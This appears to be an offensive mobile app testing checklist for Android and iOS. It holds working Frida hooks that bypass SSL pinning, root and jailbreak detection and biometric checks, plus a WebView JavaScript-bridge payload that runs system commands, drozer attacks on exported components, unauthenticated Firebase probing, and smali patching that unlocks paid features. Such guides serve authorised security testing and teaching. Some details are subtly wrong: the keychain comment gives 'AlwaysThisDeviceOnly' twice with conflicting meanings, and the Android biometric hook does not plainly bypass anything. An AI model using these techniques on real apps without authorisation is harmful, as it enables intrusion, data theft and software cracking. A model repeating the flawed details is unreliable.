Offensive Mobile

Mobile (Android + iOS) — Offensive Testing Methodology

Quick Workflow

1. Static: pull the IPA/APK, decompile, dump resources/strings, identify endpoints
2. Dynamic: install on rooted/jailbroken device, hook with Frida, intercept TLS
3. Map exported attack surface: deep links, URL schemes, exported components
4. Storage / Keystore audit: where do secrets live, what protects them
5. API: every backend the app talks to is your scope — test like a web app

Lab Setup

Android

• Rooted device or Genymotion / Android Studio AVD with userdebug build
• Magisk for systemless root; LSPosed for hooks; Frida server matching device arch
• Burp / Mitmproxy with system-trusted CA via Magisk module (MagiskTrustUserCerts)

iOS

• Jailbroken device (palera1n / checkra1n / Dopamine depending on iOS version)
• Frida + Objection + Filza + SSH via USB (iproxy 2222 22)
• Burp CA installed via Settings → General → Device Management → Certificate Trust Settings

Static Analysis

Android

bashCopy code
# Decode resources + smali
apktool d app.apk -o app

# Decompile to Java
jadx -d app_src app.apk

# Manifest review
xmllint --format app/AndroidManifest.xml | less
# Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig

bashCopy code
# Secrets and endpoints
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
grep -r "Log\.[dwief]" app_src/   # leftover debug logs

# Native libs
file app/lib/*/*.so
# RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions

iOS

bashCopy code
# Pull IPA from device
frida-ios-dump -o app.ipa "com.vendor.app"

# Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)
unzip app.ipa
# Decrypt if needed (jailbroken device): bagbak / clutch
bagbak com.vendor.app

# Class dump
class-dump-dyld -H Payload/App.app/App -o headers/
# Or for Swift symbols, use Hopper / IDA

# Strings / endpoints
strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'

bashCopy code
# Info.plist analysis
plutil -p Payload/App.app/Info.plist
# Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),
# associated-domains entitlements, UIFileSharingEnabled, ATS exemptions

Dynamic Analysis & Frida

Common Hooks

javascriptCopy code
// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
  const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
  const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');
  // ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
});

// Bypass root detection
Java.perform(() => {
  const File = Java.use('java.io.File');
  File.exists.implementation = function () {
    const path = this.getAbsolutePath();
    if (path.includes('su') || path.includes('Magisk')) return false;
    return this.exists();
  };
});

// iOS — bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
  onEnter(args) {
    const path = args[0].readUtf8String();
    if (/Cydia|jailbreak|substrate|frida/i.test(path)) {
      args[0] = Memory.allocUtf8String('/nonexistent');
    }
  }
});

Objection (Frida-based shortcuts)

bashCopy code
objection -g com.vendor.app explore
# Then inside:
android sslpinning disable
android root disable
android hooking list activities
android intent launch_activity com.vendor.app/.SecretActivity
ios sslpinning disable
ios jailbreak disable
ios keychain dump

SSL / TLS Interception

Android Network Security Config

App with <network-security-config> requiring its own pinned CA: edit res/xml/network_security_config.xml, repack:

bashCopy code
apktool b app -o app-patched.apk
apksigner sign --ks debug.keystore app-patched.apk

Or live-bypass with Frida (preferred — no recompile).

iOS ATS / Pinning

For pinning, use Frida hooks against SecTrustEvaluate* / NSURLSession delegate methods. ATS exceptions in Info.plist (NSAllowsArbitraryLoads) make MITM trivial without pinning.

Exported / IPC Attack Surface

Android — Exported Components

bashCopy code
drozer console connect
> run app.package.attacksurface com.vendor.app
> run app.activity.start --component com.vendor.app .ExportedActivity \
    --extra string url 'javascript:alert(1)'
> run app.provider.query content://com.vendor.app.provider/secrets

Targets:

• exported="true" activities → call from another app, bypass auth
• ContentProviders without grantUriPermissions → arbitrary read
• Receivers handling BOOT_COMPLETED etc. with privileged actions
• Services bound by intent extras → command injection

Intent Redirection / PendingIntent Hijack

javaCopy code
// Vulnerable: PendingIntent with implicit Intent given to untrusted app
PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)
// Attacker fills the empty Intent → action runs with victim app's identity

iOS — URL Schemes / Universal Links

bashCopy code
# Open custom scheme (test from another app)
plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes
# Then on device:
xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"

Universal Links: check apple-app-site-association on the linked domain — open redirect on that domain → universal-link claim → in-app webview navigation.

iOS XPC / Mach Services

launchctl list | grep com.vendor enumerates the app's launch services. XPC handlers without proper audit-token validation accept messages from any process.

Insecure Data Storage

Android

bashCopy code
# On device (root), pull app data
adb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgz

Inspect:

• shared_prefs/*.xml — preferences in plaintext
• databases/*.db — SQLite (use sqlite3 to dump)
• files/ — arbitrary writes
• cache/ and external storage (sdcard/Android/data/...) — often readable across apps

Android Keystore Misuse

• Keys created without setUserAuthenticationRequired(true) → use any time process is running
• AES-GCM with reused IV (devs often hardcode IV)
• RSA without proper padding (PKCS1 v1.5 vs OAEP)

iOS Keychain

bashCopy code
# Objection
ios keychain dump
# Look for kSecAttrAccessible values:
#   AlwaysThisDeviceOnly  → readable when phone locked (bad for secrets)
#   WhenUnlocked          → standard
#   AlwaysThisDeviceOnly  → bypasses screen lock

iOS Data Protection classes: NSFileProtectionNone files are readable on a jailbroken device even when locked.

WebView Vulnerabilities

Android addJavascriptInterface

If the app exposes a JS bridge with reflection-capable objects, JS in any loaded page = arbitrary Java method invocation.

javascriptCopy code
// In a page loaded by the WebView
JSBridge.getClass().forName('java.lang.Runtime')
  .getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')

file:// and Content://

WebView with setAllowFileAccessFromFileURLs(true) + a HTML attachment that the user opens → reads any file the app can.

iOS WKWebView

• WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomatically
• wkScriptMessageHandler exposed — same JS bridge concern as Android
• File URL load with loadFileURL and broad allowingReadAccessTo directory

Biometric / Auth Bypass

Android BiometricPrompt

Apps using BiometricPrompt without binding the cryptographic operation to authentication can be bypassed by hooking the result callback.

javascriptCopy code
Java.perform(() => {
  const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
  Cb.onAuthenticationSucceeded.implementation = function (r) {
    return this.onAuthenticationSucceeded(r);  // accept whatever
  };
  Cb.onAuthenticationFailed.implementation = function () { /* ignore */ };
});

iOS LAContext

evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics) — if the app trusts the boolean result without using a Keychain item bound to biometrics, you can flip it.

javascriptCopy code
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
  onEnter(args) {
    const cb = new ObjC.Block(args[4]);
    const orig = cb.implementation;
    cb.implementation = function(success, err) { orig.call(this, true, NULL); };
  }
});

The fix on the dev side is to use a biometric-bound key in the Keychain — the bypass above doesn't yield key access.

Firebase / Cloud Misconfig (highest hit-rate)

Firebase Realtime DB (still common)

Pull URL from app:

bashCopy code
strings app.apk | grep -E "https://[a-z0-9-]+\.firebaseio\.com"
# Test for unauth read
curl https://target-app.firebaseio.com/.json
# If returns data → unauth read

Firestore

Rules misconfigured to allow read, write: if true; — visible in app's REST calls. Test with anon SDK or direct REST.

S3 / GCS / Azure Blob

Unsigned URLs in API responses, or bucket names guessable from app package — test public-read, public-write, ACL.

Embedded API Keys

Google Maps key restricted properly? Stripe publishable vs secret? Twilio? AWS access keys in plaintext (still happens) → cloud takeover.

bashCopy code
truffleHog filesystem app_src/
gitleaks detect --source app_src/

Mobile API Testing

The backend is the same as a web app — pivot to web/API methodology once you've extracted the endpoints. Things specific to mobile:

• Device-bound headers (X-Device-ID, X-App-Version, X-Signature) often calculable client-side. Pull the algorithm from the binary.
• Request signing: HMAC with key embedded in app → game over, sign anything.
• Mobile-only endpoints that skip rate limiting because they're "behind app authentication"
• Older API versions still alive: /api/v1/... retired in newer app, server still serving with weaker auth.
• Push notification topics: subscribing to /topics/<predictable> may receive messages meant for others (Firebase Messaging).

App Tampering & Repackaging

bashCopy code
# Patch a check (e.g. premium=true)
# Smali edit
sed -i 's/return-void/const\/4 v0, 0x1\n    return v0/' app/smali/com/vendor/Premium.smali
apktool b app -o patched.apk
apksigner sign --ks debug.keystore patched.apk
adb install -r patched.apk

For commercial bypasses, use LSPosed module so original APK isn't modified — bypasses signature checks that lock down repackaged variants.

iOS Specifics

Entitlements

bashCopy code
codesign -d --entitlements - Payload/App.app/App

Look for: keychain-access-groups (cross-app keychain), com.apple.security.application-groups (shared containers), com.apple.developer.associated-domains (universal links), private entitlements (rare).

URL Schemes from Other Apps

objcCopy code
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"vendorapp://..."]];

Any app can invoke any registered URL scheme. Validate sender? Most don't.

App Groups Shared Container

Copy code
/private/var/mobile/Containers/Shared/AppGroup/<UUID>/

Multiple apps from same vendor share — secrets here cross app boundary.

Detection / Defender View

Engagement Checklist

Copy code
[ ] Pull IPA/APK from device
[ ] Decompile / class-dump
[ ] Grep for endpoints, keys, tokens
[ ] Manifest / Info.plist review
[ ] Static-find exported components, deep links, URL schemes
[ ] Install on rooted/jailbroken; configure Frida
[ ] Bypass pinning, MITM all traffic
[ ] Test every API the app calls (web methodology)
[ ] Test exported components from another app / drozer / runtime
[ ] Inspect on-device storage (sharedprefs, sqlite, keychain)
[ ] Test biometric flows for unbound auth
[ ] Test deep links / URL schemes for auth bypass / open redirect / IDOR
[ ] Cloud config: Firebase rules, S3 buckets, signed URLs
[ ] Push topics / subscription model
[ ] Device-binding / signing scheme analysis

Key References

• OWASP MASTG (Mobile Application Security Testing Guide)
• OWASP MASVS — verification standard
• Frida CodeShare — codeshare.frida.re for ready-to-use hooks
• mobile-security-framework / MobSF for automated triage
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/mobile.md